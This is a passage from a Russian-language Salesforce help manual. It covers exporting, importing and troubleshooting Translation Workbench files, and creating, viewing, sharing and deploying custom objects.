ПоследовательновыберитепунктыИмяпользователя > «Документы» > «Папкидокументов» > «Моиперсональные
документы» > «Начать».

Имя каждого экспортированногофайла содержит использованный вариант экспорта, а также дату и время экспорта.
Отдельные файлы обозначаются расширением STF. Наборыфайлов обозначаются расширением ZIP.

Если область персональных документов содержит большое количество документов, то экспортированные файлы
могут быть просмотрены путем сортировки.

• «В» — это вариант экспорта «На двух языках» (например, Bilingual_2010-09-23_11:20.zip).

• «S» — это вариант экспорта «Источник» (например, Source_en_US_2010-09-23_11:20.stf).

• «U» — это вариант экспорта «Без перевода» (например, Untranslated_2010-09-23_11:20.zip).

5. Сохраните файлы для дальнейшего перевода.
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Последовательновыберитепункты«Просмотр» > «Сохранитьфайл» > «ОК». Файлсохраняетсявобласть, выбранную
обозревателем. Например, C:/Пользователи/имя_пользователя/Загрузка.

СМ. ТАКЖЕ:

Импорт переведенных файлов

Включение и выключение средства перевода

Импорт переведенных файлов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для экспорта или импорта
файлов перевода:
• «Управление

переводом»

И

«Настройка
приложения»

И

«Создание документов»

Чтобы импортировать и обновить переводы для метаданных организации (например,
настраиваемыеполя, типыотчетовизначенияраскрывающегосясписка), воспользуйтесь
функцией «Импорт» в средстве перевода. Как правило, пакет исходных файлов,
создаваемый посредствомфункции «Экспорт», отправляется внешним переводчикам,
а затем возвращается для импорта.

Прим.: Метки, экспортированные и оставленные без изменений, не сохраняются
в качестве переводов для импорта.

1. Файлы могут быть добавлены в архив размером не более 5 Мб. При необходимости
создайте несколько архивных файлов.

Порядок расположения и группировка архивных файлов могут отличаться от
экспортированных архивных файлов.

Например, пользователь создает два экспортированных архивных файла. Первый
архив содержит файлы на французском, итальянском и японском языках. Второй
архив содержит файлы на русском, греческом и китайском упрощенном языках.
Пользователь может создать:

• Один архивныйфайл с французским, греческим и итальянским языками.

• Один архивныйфайл с русским и греческим языками.

• Один архивныйфайл с китайским упрощенным языком.

2. Вразделе «Настройка» введите «Импорт» вполе «Быстрый поиск», затемвыберите
«Импорт» в средстве перевода.

3. Чтобы выбрать файл для импорта, нажмите кнопку «Обзор».

4. Нажмите кнопку «Импорт».

По завершении импорта:

• Система обновляет переводы меток.

• Электронное подтверждение отправляется на адрес эл. почты, указанный в профиле пользователя.

5. Убедитесь во внедрении импортированных изменений. Ниже перечислены доступные действия.

• Проверьте метки в организации Salesforce.
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• Проверьте метки в средстве перевода.

СМ. ТАКЖЕ:

Экспорт файлов перевода

Включение и выключение средства перевода

Устранение неполадок при экспорте и импорте файлов перевода

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для экспорта или импорта
файлов перевода:
• «Управление

переводом»

И

«Настройка
приложения»

И

«Создание документов»

Таблицанижепозволяетустранятьнеполадки, возникающиевовремяэкспортаиимпорта
файлов в средстве перевода.

Этапы устранения
неполадок

ЗначениеСообщение об ошибке

Выполните повторный
экспорт файла и убедитесь
в наличии заголовков для
всех разделов, а также в
отсутствии
непрокомментированного
лишнего текста.

Импортируемыйфайл не
содержит строк заголовка
или данные строки
содержат лишний текст
(например,
непрокомментированные
примечания).

Раздел двуязычного файла
начинается не с заголовка:
{0}

Выполните повторный
экспорт файла и убедитесь
в уникальности каждого
ключа, а затем выполните
повторный импорт файла.

Указанный ключ
повторяется в
импортированномфайле.
Каждый переведенный
элемент должен содержать
собственный уникальный
ключ, который может
использоваться в файле не
более одного раза.

Повторяющийся ключ: {0}
существует в файле
импорта; выполните
повторный экспорт.

Выполните повторный
экспорт файла и убедитесь
в соответствии данных
ключей ключам
импортируемого файла.

Во время перевода система
Salesforce создает
уникальные ключи (или
идентификаторы) для всех
переводимых объектов,
значенийраскрывающихся

Недопустимый ключ

списков или элементов
страниц. Если данные
именаилиключименяются
после экспорта файла, то
система Salesforce не может
правильно сопоставить
ключ с именем.

Выполните повторный
экспорт файла и убедитесь

Один из ключей в столбце
типа настраиваемых

Ключ {0} не является
уникальным. Данная

в использовании
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Этапы устранения неполадокЗначениеСообщение об ошибке

правильного формата ключа.отчетов использует недопустимый
формат.

проблема вызвана изменением
формата ключа «Столбец типа
настраиваемых отчетов». Выполните
повторныйэкспорти выберитеновый
формат для этих ключей.

Измените переведенные метки в
соответствии с заданными

Каждыйтипполя (например, значение
раскрывающегося списка) может

Превышеномаксимально допустимое
количествосимволов ({х}) дляперевода
{тип_поля} в строке: ограничениями и выполните

повторный импорт файла.
содержать определенное количество
символов. Длина переведенной метки
для типа поля в строке, указанной в
сообщении об ошибке, превышает
максимально допустимую.

Убедитесь в импорте нужного файла
и наличии переведенных данных.

Импортируемыйфайлявляетсяпустым
или не содержит изменений в
переводе.

Данные для импорта отсутствуют

Убедитесь в допустимости кода языка,
а также в наличии самого кода или
соответствующих комментариев.

Импортируемыйфайл не содержит
допустимого кода языка или код языка
расположен в недопустимой области.

В заголовке файла отсутствует код
языка

Убедитесь в наличии заголовков
разделов и выполните повторный
импорт файла.

Импортируемыйфайл не содержит
заголовков разделов.

Двуязычныйфайл не содержит
переведенного или непереведенного
заголовка раздела

Убедитесьвналичиидопустимоготипа
импорта/экспорта в заголовке файла

Заголовок импортируемого файла не
содержит допустимого типа

В заголовке файла указан
недопустимый тип файла

и отсутствии перевода самого
заголовка.

импорта/экспорта («Источник», «Без
перевода» или «На двух языках»). Тип
файла должен быть указан на
стандартном языке организации.

Убедитесь, что файл использует
формат STF или ZIP, и выполните
повторный импорт.

Пользователи могут импортировать
только файлы в формате STF или
архивные файлы, содержащие
STF-файлы.

Недопустимыйфайл для импорта.
Выберитефайлсрасширением STF или
ZIP.

Выполните экспорт исходногофайла,
сопоставьте порядок значений

Порядок значений раскрывающегося
списка в исходномфайле не
соответствуетнастройкепользователя.

Некоторые ключи добавляются с
собственным порядком сортировки,
обеспечивающим уникальность.
Выполнитеповторныйэкспортфайла

раскрывающегося списка с файлом
импорта и повторите импорт.

и убедитесь, что ключи, используемые
в обоих файлах, совпадают.

Удалите лишние символы табуляции,
новые строки или символы переноса

Импортируемыйфайл содержит
лишние символы табуляции, новые

Неверное количество столбцов в
строке: {x}. Убедитесь, что в файлах

и убедитесь, что импортируемый истрокиилисимволыпереносав строке,
указанной в сообщении об ошибке.

отключено отображение символов
табуляции (\\t), новых строк (\\n) и
символов переноса (\\r).

экспортированныйфайлы содержат
одинаковое количество столбцов.
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Этапы устранения неполадокЗначениеСообщение об ошибке

Обратитесь в службу поддержки
Salesforce.

Во время экспорта файла произошла
непредвиденная ошибка.

Не удалось обработать запрос на
выполнение экспорта. Повторите
попытку или обратитесь в службу
поддержки.

Обратитесь в службу поддержки
Salesforce.

Во время импорта файла произошла
непредвиденная ошибка.

Не удалось обработать запрос на
выполнение импорта. Повторите
попытку или обратитесь в службу
поддержки.

Добавьте нужный язык в средство
перевода и выполните повторный
импорт файла.

Язык импортируемого файла все еще
отсутствует в средстве перевода.

Организациянеимеетполномочийна
использование языка ({язык}).

СМ. ТАКЖЕ:

Экспорт файлов перевода

Импорт переведенных файлов

Советы по оптимальному использованию Translation Workbench

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Чтобы извлечь максимум пользы при использовании Средства перевода, следует
руководствоваться следующими подсказками.

• Дайте переводчикам знать, за какие языки перевода они несут ответственность при
переводе.

• Уведомляйте всехпереводчиково том, когдановыепереведенныекомпонентыбудут
добавляться в вашу организацию.

• Посоветуйтепользователямприизмененииотчетовилипредставленийсписковдля
использованиязначенийкритериевфильтрациинасвоемнастроенномязыке. Однако,
еслионииспользуютоператоры начинается с или содержит, посоветуйтеимвыбрать
язык своих введенных значений критериев фильтрации.

• При создании типа настраиваемого отчета, который будет должен быть переведен
на разные языки с помощью Средства перевода, рекомендуем настроить свой язык
так, чтобы он соответствовал стандартному языку организации. Данное действие позволяет отображать слова,
подлежащие переводу, на соответствующем языке переводчика.

• Salesforceпредполагает, чтовсепользовательскиенастройкивводятсяна языке, заданномворганизациипоумолчанию.
Глобальные администраторы должны работать совместно на языке, заданном для организации по умолчанию.
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Расширение объектов, данных и полей

Использование записей настраиваемых объектов

Общие сведения о записях настраиваемых объектов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Важное замечание: Данная страница может отображаться пользователям при
отсутствиинастраиваемойсправки, созданнойадминистратором Salesforce. Чтобы
получить дополнительную информацию о конкретном настраиваемом объекте,
обратитесь к администратору с просьбой создать настраиваемую справку для
нужного объекта. Справка Salesforce охватывает только стандартные объекты,
представленные в первоначальной интеграции Salesforce.

Записи настраиваемых объектов хранят информацию, являющуюся уникальной и
важной для текущего пользователя и его организации. Например, организация может
использоватьнастраиваемыйобъект «Товары» дляхраненияданныхотоварахкомпании.
Крометого, настраиваемыеобъектымогутиспользоватьсявнастраиваемыхприложениях
(например, отслеживание обновлений программного обеспечения в процессе
разработки).

Сначала администратор определяет настраиваемый объект и его свойства (например,
настраиваемыеполя, взаимосвязи с другимитипамиданных, макетыстраницинастраиваемуювкладкупользовательского
интерфейса). После созданияиразвертываниянастраиваемогообъектапользователимогут вводитьданныедля создания
собственныхзаписейнастраиваемогообъекта. Вкладкадлянастраиваемогообъекта, созданнаяадминистратором, содержит
начальную страницу, позволяющую быстро создавать и находить нужные записи. Сортировка и фильтрация записей
настраиваемыхобъектовмогутвыполнятьсяспомощьюстандартныхинастраиваемыхсписковыхпредставлений. Кроме
того, данная вкладка позволяет просматривать и редактировать подробные сведения о любой доступной записи
настраиваемого объекта.

Импортнастраиваемыхобъектовдоступенадминистраторамипользователямсполномочием «Изменениевсехданных».

СМ. ТАКЖЕ:

Начальная страница настраиваемых объектов
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Начальная страница настраиваемых объектов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра вкладки
настраиваемых объектов:
• «Чтение» для

настраиваемого объекта

Для просмотра записей
настраиваемых объектов:
• «Чтение» для

настраиваемого объекта

Важное замечание: Данная страница может отображаться пользователям при
отсутствиинастраиваемойсправки, созданнойадминистратором Salesforce. Чтобы
получить дополнительную информацию о конкретном настраиваемом объекте,
обратитесь к администратору с просьбой создать настраиваемую справку для
нужного объекта. Справка Salesforce охватывает только стандартные объекты,
представленные в первоначальной интеграции Salesforce.

Прим.: При выборе вкладки настраиваемых объектов отображается ее начальная
страница. Имя вкладки настраиваемых объектов соответствует множественному
числу настраиваемого объекта, заданному администратором.

Чтобы просмотреть записи настраиваемого объекта, откройте начальную страницу
вкладки.

• Чтобы просмотреть отфильтрованный список элементов, выберите нужное
представление в раскрывающемся списке «Просмотр» илищелкните ссылку
«Создать новое представление» для разработки собственных настраиваемых
представлений. Списковые представления позволяют просматривать записи,
соответствующие заданным критериям (например, все настраиваемые объекты для
вкладки или только собственные настраиваемые объекты). Чтобы изменить или
удалить любое созданное представление, выберите его в раскрывающемся списке
«Просмотр» ищелкните ссылку «Правка».

• Чтобы просмотреть настраиваемые объекты, предоставленные бизнес-партнерами
посредством функции Salesforce to Salesforce, выберите нужное списковое
представление в разделе «[Имя настраиваемого объекта] от подключений».

• Чтобы просмотреть краткий список записей настраиваемых объектов,
соответствующихзаданномукритерию, выберите элементраскрывающегося списка
вразделе «Недавние». Чтобыпросмотреть сведенияонастраиваемомобъекте, выберитеимянужногонастраиваемого
объекта из списка. Чтобыизменить количествоотображаемых элементов, выберите ссылку «Показать 25 элем.»или
«Показать 10 элем.». Доступныеполя определяютсямакетомпоиска «Вкладка "Настраиваемыеобъекты"», заданным
администратором, и параметрами безопасности полей, заданными пользователем (только в версиях Enterprise Edition,
Unlimited Edition, Performance Edition и Developer Edition). Нижеперечисленыкритериифильтрации, доступныевразделе
«Недавние».

ОписаниеЗначение списка «Недавние»

Последние 10 или 25 настраиваемых объектов,
просмотренных пользователем; самые последние

Недавно просмотренные

просмотренные настраиваемые объекты отображаются
вспискепервыми. Данныйсписокформируетсянаоснове
недавних элементови содержит записи, за которыенесут
ответственность текущий и другие пользователи.

Последние 10 или 25 настраиваемыхобъектов, созданных
пользователем; самые последние созданные

Недавно созданные

настраиваемыеобъектыотображаютсяв спискепервыми.
Данный список содержит записи, за которые несет
ответственность только текущий пользователь.
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ОписаниеЗначение списка «Недавние»

Последние 10 или 25 настраиваемых объектов,
обновленных пользователем; самые последние

Недавно измененные

обновленные настраиваемые объекты отображаются в
списке первыми. Данный список содержит записи, за
которые несет ответственность только текущий
пользователь.

СМ. ТАКЖЕ:

Отображение и редактирование записей настраиваемых объектов

Отображение и редактирование записей настраиваемых объектов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра записей
настраиваемых объектов:
• «Чтение» для

настраиваемого объекта

Для изменения записей
настраиваемых объектов:
• «Редактирование» для

настраиваемого объекта

Важное замечание: Данная страница может отображаться пользователям при
отсутствиинастраиваемойсправки, созданнойадминистратором Salesforce. Чтобы
получить дополнительную информацию о конкретном настраиваемом объекте,
обратитесь к администратору с просьбой создать настраиваемую справку для
нужного объекта. Справка Salesforce охватывает только стандартные объекты,
представленные в первоначальной интеграции Salesforce.

Прим.: При выборе вкладки настраиваемых объектов отображается ее начальная
страница. Имя вкладки настраиваемых объектов соответствует множественному
числу настраиваемого объекта, заданному администратором.

Отображение записей настраиваемых объектов
Чтобыпросмотретьподробныесведенияозаписинастраиваемогообъекта, щелкните
имя нужного объекта на начальной странице соответствующей вкладки или на
страницах со списками.

Если консоль Salesforce поддерживает возможность добавления настраиваемых
объектов, выберите ее в меню приложений Force.com для поиска, просмотра и
редактирования записей настраиваемых объектов и связанных с ними элементов на
одном экране.

Редактирование записей настраиваемых объектов
Чтобы обновить сведения о записи настраиваемого объекта, щелкните «Правка» и
измените нужные поля. По завершении нажмите кнопку «Сохранить». Чтобы
сохранить текущую запись настраиваемого объекта и добавить новую, нажмите
кнопку «Сохранить и создать». Поля, отмеченные красной чертой, являются
обязательными.

Прим.: Если настраиваемый объект используется кодом Apex, то параметры «Имя объекта» и «Тип данных»
не могут быть изменены.

Связанные списки настраиваемых объектов
В нижней части страницы сведений о записи настраиваемого объекта отображаются связанные списки записи,
включаядействия, примечания, вложенияилюбыедругиесвязанныезаписи. Доступныесвязанныеспискиопределяются
персональныминастройкамипользователяипараметрамимакетовстраницилиполномочияминапросмотрсвязанных
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данных. Чтобы просмотреть дополнительные сведения об отдельном элементе, щелкните имя нужного элемента.
Чтобы просмотреть дополнительные элементы, щелкните ссылку «больше» внизу страницы или «Подробнее» под
связанным списком. Чтобы добавить новые элементы, нажмите кнопку «Создать».

Совет: Чтобы предоставить пользователям более удобный доступ к сведениям о записи и связанным спискам,
установитефлажок «Включитьвсплывающиесведения» вразделе «Интерфейспользователя» меню «Настройка».

Печать записей настраиваемых объектов
Чтобы распечатать запись, щелкните ссылку «Версия для печати» на странице сведений о настраиваемом объекте.

Чтобыоткрытьпоследнююпросмотреннуюстраницу со списком, щелкните ссылку «Назадксписку», расположенную
в верхней части любой страницы сведений о записи настраиваемого объекта. Если в организации включена поддержка
свертываемых разделов, щелкните значок стрелки напротив нужного заголовка, чтобы развернуть или свернуть
соответствующий раздел страницы сведений.

Предоставление общего доступа к записям настраиваемых объектов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра записи
настраиваемого объекта:
• «Чтение» для

настраиваемого объекта

Важное замечание: Данная страница может отображаться пользователям при
отсутствиинастраиваемойсправки, созданнойадминистратором Salesforce. Чтобы
получить дополнительную информацию о конкретном настраиваемом объекте,
обратитесь к администратору с просьбой создать настраиваемую справку для
нужного объекта. Справка Salesforce охватывает только стандартные объекты,
представленные в первоначальной интеграции Salesforce.

Стандартнаямодельобщегодоступаорганизацииопределяется администратором. При
необходимости стандартный уровень общего доступа может быть расширен. Модель
общего доступа определяет самый строгий стандартный уровень, который может быть
только расширен.

Для просмотра и управления сведениями об общем доступе нажмите кнопку «Общий
доступ» на странице сведений о записи настраиваемого объекта. Страница «Сведения
об общем доступе» содержит список пользователей, групп, ролей и территорий,
имеющих общий доступ к записи. Ниже перечислены действия, доступные на данной
странице.

• Предоставление доступа к записи другим пользователям, группам, ролям или
территориям

Прим.: Общий доступ к записи настраиваемого объекта может быть
предоставлентолькопользователюсполномочием «Чтение» длянастраиваемого
объекта.

• Просмотр всех пользователей, имеющих доступ к записи

• Редактирование или удаление уровня доступа к записи
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Использование настраиваемых связанных списков

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра связанных
списков записей
настраиваемых объектов:
• «Чтение» для

настраиваемого объекта

И

«Чтение» для связанной
записи

Для изменения записей
настраиваемых объектов:
• «Редактирование» для

настраиваемого объекта

Для создания записей
настраиваемых объектов:
• «Создание» для

настраиваемого объекта

Для удаления записей
настраиваемых объектов:
• «Удаление» для

настраиваемого объекта

Важное замечание: Данная страница может отображаться пользователям при
отсутствиинастраиваемойсправки, созданнойадминистратором Salesforce. Чтобы
получить дополнительную информацию о конкретном настраиваемом объекте,
обратитесь к администратору с просьбой создать настраиваемую справку для
нужного объекта. Справка Salesforce охватывает только стандартные объекты,
представленные в первоначальной интеграции Salesforce.

Настраиваемые связанные списки отображаются в нижней части страницы сведений
длядругойзаписи. Данныеспискисодержат записинастраиваемыхобъектов, связанные
с текущей записью.

Ниже перечислены действия, доступные в настраиваемом связанном списке.

• Чтобыпросмотретьподробныесведенияозаписинастраиваемогообъекта, щелкните
имя нужной записи.

• Чтобы изменить или удалить запись настраиваемого объекта, щелкните ссылку
«Правка» или «Удал.».

• Чтобы создать запись настраиваемого объекта, связанную с просматриваемой
записью, нажмите кнопку «Создать».

СМ. ТАКЖЕ:

Общие сведения о записях настраиваемых объектов
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Просмотр списков настраиваемых объектов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра списков
настраиваемых объектов:
• «Чтение» для

настраиваемого объекта

Для создания записей
настраиваемых объектов:
• «Создание» для

настраиваемого объекта

Важное замечание: Данная страница может отображаться пользователям при
отсутствиинастраиваемойсправки, созданнойадминистратором Salesforce. Чтобы
получить дополнительную информацию о конкретном настраиваемом объекте,
обратитесь к администратору с просьбой создать настраиваемую справку для
нужного объекта. Справка Salesforce охватывает только стандартные объекты,
представленные в первоначальной интеграции Salesforce.

Страница со списком настраиваемых объектов содержит настраиваемые объекты,
доступныев текущемпредставлении. Списковоепредставлениесодержит записитолько
одного типа, поэтому не позволяет просматривать записи других типов.

• Чтобы просмотреть сведения о записи настраиваемого объекта, щелкните имя
нужного настраиваемого объекта. Чтобы изменить или удалить запись, щелкните
ссылку «Правка» или «Удал.» напротив нужной записи.

• Чтобы принять ответственность за записи настраиваемых объектов, доступные в
очереди, откройте списковое представление очереди, установитефлажки напротив
нужных записей и нажмите кнопку «Принять».

• Чтобывыполнитьпакетныйпереносответственности, установитефлажкинапротив
нужных записей настраиваемых объектов и нажмите кнопку «Изменить
ответственного». Введите имя нового ответственного за запись. Чтобы отправить
электронное уведомление новому ответственному за запись, установите флажок
«Отправить электронное уведомление». Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Общие сведения о записях настраиваемых объектов

Администрирование настраиваемых объектов

Настраиваемые объекты

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Система позволяет хранить данные, уникальные для организации. Настройте для
настраиваемыхобъектов возможностьпоиска, поддержкуобщегодоступа, иливстройте
доступ в Bulk API и Streaming API.

Каждый настраиваемый объект классифицируется как объект Enterprise Application или
объект Light Application. Единственноеразличиемеждуданнымикатегориямизаключается
в том, что объекты Light Application не поддерживают общий доступ, доступ к Bulk API и
доступ к Streaming API.

Чтобы отслеживать показатели использования каждой категории, рекомендуем создать
тип настраиваемого отчета, где объект «Лицензии пользователя» является основным, а
объект «Показателииспользованиянастраиваемыхобъектовполицензиипользователя»
является дочерним.

По умолчанию все настраиваемые объекты являются объектами Enterprise Application.
Чтобыклассифицироватьнастраиваемыйобъект какобъект Light Application, выключите
параметры «Разрешить общий доступ», «Разрешить доступ к Bulk API» и «Разрешить доступ к Streaming

API» на странице сведений об объекте.
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Ниже перечислены действия, доступные после определения настраиваемого объекта.

• Создание настраиваемых полей.

• Связывание настраиваемого объекта с другими записями и отображение данных настраиваемого объекта в
настраиваемых связанных списках.

• Разработка макетов страниц.

• Настройка результатов поиска и отображающихся полей настраиваемого объекта.

• Создание настраиваемой вкладки для настраиваемого объекта.

Прим.: Чтобыпозволитьпользователямнаходить записинастраиваемыхобъектовприпомощипоиска, создайте
настраиваемую вкладку с параметром «Включены стандартные параметры» или «Отключены стандартные
параметры». Создание настраиваемой вкладки позволяет использовать параметр «Разрешить поиск»
настраиваемого объекта.

• Создание отчетов и панелей мониторинга для анализа данных настраиваемого объекта.

• Предоставление другим пользователям Salesforce доступа к настраиваемым объектам, настраиваемым вкладкам,
настраиваемым приложениям и любым другим связанным компонентам в каталоге Force.com AppExchange.

• Импорт записей настраиваемого объекта.

СМ. ТАКЖЕ:

Отслеживание показателей использования настраиваемых объектов организации по типу лицензии пользователя
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Управление настраиваемыми объектами

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Управляемые пакеты
недоступны в версии
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания и
редактирования
настраиваемых объектов:
• «Настройка

приложения»

Операциисоздания, настройки, редактирования, удаленияилиусечениянастраиваемых
объектов позволяют расширять функции, поддерживаемые стандартными объектами
(например, организации и контакты).

Прим.: Возможно, вкладка создана администратором самостоятельно. Чтобы
получитьболееполноепредставлениеобиспользованиивкладкинастраиваемого
объекта, обратитесь к администратору.

В списке параметров управления объектом приведены созданные в организации
настраиваемые объекты. Ниже перечислены действия, доступные на данной странице.

• Создание настраиваемого объекта

• Отображение подробных сведений о настраиваемом объекте.

Кдополнительнымнастройкамотносятся: включениепоискаиотчетов, отслеживание
действий, отслеживание журнала поля и предоставление доступа к объекту на
клиентском портале Salesforce.

• Чтобыобновить определениенастраиваемогообъекта, щелкните ссылку «Правка»
и обновите нужные поля.

Прим.: Поля «Разрешить отчеты», «Разрешить действия» и «Разрешить
поиск»не блокируются в пакете со статусом «Управляемый — выпущенный»,
поэтому могут быть изменены разработчиком в последующих выпусках
управляемого пакета.

• Чтобы удалить настраиваемый объект, щелкните ссылку «Удал.».

• Чтобы сократить настраиваемый объект, щелкните «Сократить».

• Чтобы просмотреть удаленные настраиваемые объекты, щелкните ссылку
«Удаленныеобъекты». Общееколичество удаленныхнастраиваемыхобъектовдля
организации указано в скобках.

Страница сведенийонастраиваемомобъекте содержит данные о разных характеристиках объекта, включая стандартные
инастраиваемыеполя, отслеживаниежурналаполя, взаимосвязи, настраиваемыессылки, макетыпоиска, макетыстраницы
и ограничения для объектов. Ниже перечислены доступные действия.

• Чтобы просмотреть дополнительные сведения об отдельном элементе, щелкните имя нужного элемента.

• Чтобыудалитьнастраиваемоеполе, щелкнитессылку«Удал.»напротивименинужногополявразделе «Настраиваемые
поля и взаимосвязи».

• Чтобы просмотреть дополнительные элементы, щелкните ссылку «больше» внизу страницы или «Подробнее» под
связанным списком.

• Чтобы добавить новые элементы, нажмите кнопку «Создать».
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Прим.: Ограничения в процентах отображаются усеченными, а не округленными. Например, если организация
использует ограничение для отдельной настройки на 95,55%, то отображается 95%.

СМ. ТАКЖЕ:

Рекомендации по сокращению времени поиска

Настраиваемые объекты

Изменение настраиваемых объектов

Поиск по параметрам управления объектами

Статус развертывания для настраиваемых и внешних объектов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Внешние объекты Lightning
Connect доступны в версиях:
Developer Edition.
Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для развертывания
настраиваемых и внешних
объектов:
• «Настройка

приложения»

При создании настраиваемых или внешних объектов система позволяет блокировать
новый объект от просмотра и использования. Чтобы избежать непредвиденного
изменениямакетаилипотериданныхприудалениинастраиваемыхполей, контролируйте
доступность нового объекта до завершения его создания.

Чтобызадатьдоступностьобъекта, связаннойнастраиваемойвкладки, связанныхсписков
иотчетовдляпросмотраииспользования, настройтепараметр «Статус развертывания»
в определении объекта.

• Задайте параметру «Статус развертывания» значение «В разработке» при создании
настраиваемого или внешнего объекта. Данное действие позволяет скрыть объект
отпользователейнавремяегоразработкиитестирования. Вкладкаобъекта, результаты
поиска, связанные списки и типы данных отчетов доступны только пользователям
с полномочием «Настройка приложения».

• Чтобы разрешить всем пользователям доступ к объекту, связанной настраиваемой
вкладке, связанным спискам и отчетам, задайте параметру «Статус развертывания»
значение «Развернуто».

• Чтобыизменитьразвернутыйнастраиваемыйиливнешнийобъект, задайтепараметру
«Статус развертывания» значение «В разработке».

Прим.: Параметр «Статус развертывания» типа настраиваемого отчета меняет
значение «Развернуто» на значение «В разработке», если основным объектом
является настраиваемый объект, параметр «Статус развертывания» которого
меняется аналогичным образом.

СМ. ТАКЖЕ:

Рекомендации по сокращению времени поиска

Определение настраиваемого объекта
Система позволяет отслеживать и хранить данные, уникальные для организации. Необходимые действия различаются
в зависимости от используемой версии Salesforce.
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Определение настраиваемых объектов в Lightning Experience

Системапозволяетотслеживатьихранитьданные, уникальныедляорганизации. Еслислеванаходитсянавигационная
панель, это Lightning Experience. Если вверху экрана имеется ряд вкладок, вы находитесь в Salesforce Classic.

Определение настраиваемых объектов в Salesforce Classic

Система позволяет отслеживать и хранить данные, уникальные для организации. Если в верхней части экрана
отображается ряд вкладок, это Salesforce Classic. Если слева находится панель навигации, вы в Lightning Experience.

Поля для определения настраиваемых объектов
Присозданиинастраиваемогообъектанесколькополейобязательныдлязаполненияипредназначеныдляопределения
порядка доступа к объекту.

Рекомендации по созданию настраиваемых объектов
Перед созданием настраиваемого объекта обязательно ознакомьтесь с данными рекомендациями.

СМ. ТАКЖЕ:

Рекомендации по сокращению времени поиска

Общие сведения о взаимосвязях объектов

Определение справки объекта

Определение настраиваемых объектов в Lightning Experience

ВЕРСИИ

Доступно в версиях:
Lightning Experience

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания и
редактирования
настраиваемых объектов:
• «Настройка

приложения»

Система позволяет отслеживать и хранить данные, уникальные для организации. Если
слева находится навигационная панель, это Lightning Experience. Если вверху экрана
имеется ряд вкладок, вы находитесь в Salesforce Classic.

1. На любой странице настроек в верхнем правом углу щелкните «Создать >
настраиваемый объект».

2. Заполните поля настраиваемого объекта.

3. Сохраните новый объект.

СМ. ТАКЖЕ:

Поля для определения настраиваемых объектов

Рекомендации по созданию настраиваемых объектов

Определение настраиваемого объекта
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Определение настраиваемых объектов в Salesforce Classic

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания и
редактирования
настраиваемых объектов:
• «Настройка

приложения»

Система позволяет отслеживать и хранить данные, уникальные для организации. Если
в верхней части экрана отображается ряд вкладок, это Salesforce Classic. Если слева
находится панель навигации, вы в Lightning Experience.

1. Введите строку «Объекты» в поле «Быстрый поиск» в меню «Настройка», затем
выберите пункт «Объекты».

2. Нажмите кнопку «Создать настраиваемый объект».

3. Следуйте инструкциям мастера и заполните поля настраиваемого объекта.

4. Сохраните новый объект.

СМ. ТАКЖЕ:

Поля для определения настраиваемых объектов

Рекомендации по созданию настраиваемых объектов

Определение настраиваемого объекта

Поля для определения настраиваемых объектов

ВЕРСИИ

Доступно в версиях:
Lightning Experience и
Salesforce Classic

Доступно в версиях: Contact
Manager, Group Edition,
